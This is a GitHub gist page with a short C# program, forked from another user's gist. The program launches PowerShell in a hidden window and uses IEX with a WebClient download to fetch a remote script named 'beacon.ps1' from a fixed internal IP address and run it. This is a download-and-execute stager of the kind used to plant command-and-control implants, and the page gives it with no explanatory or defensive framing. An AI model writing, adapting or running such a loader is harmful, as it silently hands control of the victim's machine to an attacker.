Skip to content

Instantly share code, notes, and snippets.

@AmineCherrai
Forked from peewpw/Program.cs
Created December 4, 2017 16:38
Show Gist options
  • Save AmineCherrai/d3cf770674cf46d904a476a9e0b2ab1c to your computer and use it in GitHub Desktop.
Save AmineCherrai/d3cf770674cf46d904a476a9e0b2ab1c to your computer and use it in GitHub Desktop.
using System;
using System.Diagnostics;
namespace peewpw
{
static class Program
{
[STAThread]
static void Main()
{
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\"";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment